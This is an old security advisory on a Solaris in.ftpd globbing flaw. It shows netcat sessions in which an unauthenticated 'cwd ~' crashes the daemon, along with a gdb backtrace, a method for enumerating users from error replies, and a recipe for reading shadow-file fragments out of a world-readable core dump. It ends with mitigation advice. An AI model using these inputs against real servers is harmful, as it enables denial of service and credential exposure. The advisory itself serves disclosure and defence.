|
Vulnerability ftpd Affected Solaris 2.6, 7, 8 Description Johnny Cyberpunk found following. He has tested these globbing vulnerability on two different SPARC Solaris Machines. He started Netcat from a Win2K box to Port 21: C:\>nc 10.64.224.3 21 220 gsmms0 FTP server (SunOS 5.6) ready. cwd ~ 530 Please login with USER and PASS. C:\> As you can see. Without being logged on, he's landing on the prompt again after putting out the cwd ~ command. Then he connected via SSH to my Solaris box and saw a fresh CORE File created in / . Then he started : gdb /usr/sbin/in.ftpd /core which give him the following information: Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "sparc-sun-solaris2.7"... (no debugging symbols found)... Core was generated by `in.ftpd'. Program terminated with signal 11, Segmentation Fault. Reading symbols from /usr/lib/libcmd.so.1...(no debugging symbols found)... done. Reading symbols from /usr/lib/libsocket.so.1...(no debugging symbols found)... done. Reading symbols from /usr/lib/libnsl.so.1...(no debugging symbols found)... done. Reading symbols from /usr/lib/libbsm.so.1...(no debugging symbols found)... done. Reading symbols from /usr/lib/libpam.so.1...(no debugging symbols found)... done. Reading symbols from /usr/lib/libdl.so.1...(no debugging symbols found)...done. Reading symbols from /usr/lib/libc.so.1...(no debugging symbols found)...done. Reading symbols from /usr/lib/libmp.so.2...(no debugging symbols found)...done. Reading symbols from /usr/platform/SUNW,Ultra-250/lib/libc_psr.so.1... (no debugging symbols found)...done. #0 0xff1b6dd0 in strcpy () from /usr/lib/libc.so.1 (gdb) bt #0 0xff1b6dd0 in strcpy () from /usr/lib/libc.so.1 #1 0x1648c in glob () #2 0x162e8 in glob () #3 0x161d4 in glob () #4 0x19884 in yyparse () #5 0x13a90 in main () (gdb) As you see a segment fault has happened. After that Johnny typed in the bt command to get more info about the segment fault. In offset 0xff1b6dd0 the strcpy() command failed and produced the segment fault. This problem could allow an attacker to execute code on the stack and gain access to the system. Another nice effect is the following: C:\>nc 10.64.224.3 21 220 gsmms0 FTP server (SunOS 5.6) ready. cwd ~netadm 530 Please login with USER and PASS. cwd ~xyz 530 Please login with USER and PASS. 550 Unknown user name after ~ As you see cwd ~netadm just produces a normal 530 message, cos this user exists on the system. The user xyz user doesn't exist and prints out a 550 Unknown user name after ~. This could being used to brute force existing users on the remote system. You can do this: CWD ~/fffffffffffffffffffffff.. (etc) One could fit about 390 bytes after the ~/ when tried it against Solaris 7. Also works with MKD RMD It is also possible to build an exploit-package that looks like this: cwd ~?thenextfollowingtextdoesntmatterandcouldpossiblybeashellcode as you see we just inserted another special character after the ~. List of all commands that are affected: RETR DELE MKD STOR CWD APPE RNFR XCWD LIST XRMD STOU NLST It is possible that local user can get the part of shadow file in Solaris 2.6 since the core file is world readable. [root@ /usr/sbin]> telnet localhost 21 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 sun26 FTP server (SunOS 5.6) ready. user warning3 331 Password required for warning3. <-- a valid username pass blahblah <--- a wrong password 530 Login incorrect. CWD ~ 530 Please login with USER and PASS. Connection closed by foreign host. [root@ /usr/sbin]> ls -l /core -rw-r--r-- 1 root root 284304 Apr 16 10:20 /core [root@ /usr/sbin]> strings /core|more [...snip...] lp:NP:6445:::::: P:64 eH:::: uucp:NP:6445::: [...snip...] Solution Without the '-d' option given to in.ftpd, all you get is the inetd message and the in.ftpd connection message. Most people would never see anything. This fact that in.ftpd crashes with SIGSEGV does not necessarily indicate that it is a remotely exploitable vulnerability. In this case, it is just a simple null-pointer dereference. But, as Sun's binary code licence forbids disassembly, we can only strongly believe or suspect that is a register-indirect load where that register's value is 0x0. We suspect that it is caused by glob() looking for the home directory of a NULL username. So, this is not a remotely exploitable vulnerability, it can simply be used to crash the remote in.ftpd. However, this can present other problems, so you should ensure that core dumps are disabled for inetd (add "ulimit -c 0" before starting inetd in /etc/init.d/inetsvc) or at least that they are not world readable (add a umask line); they are world readable by default under 2.6.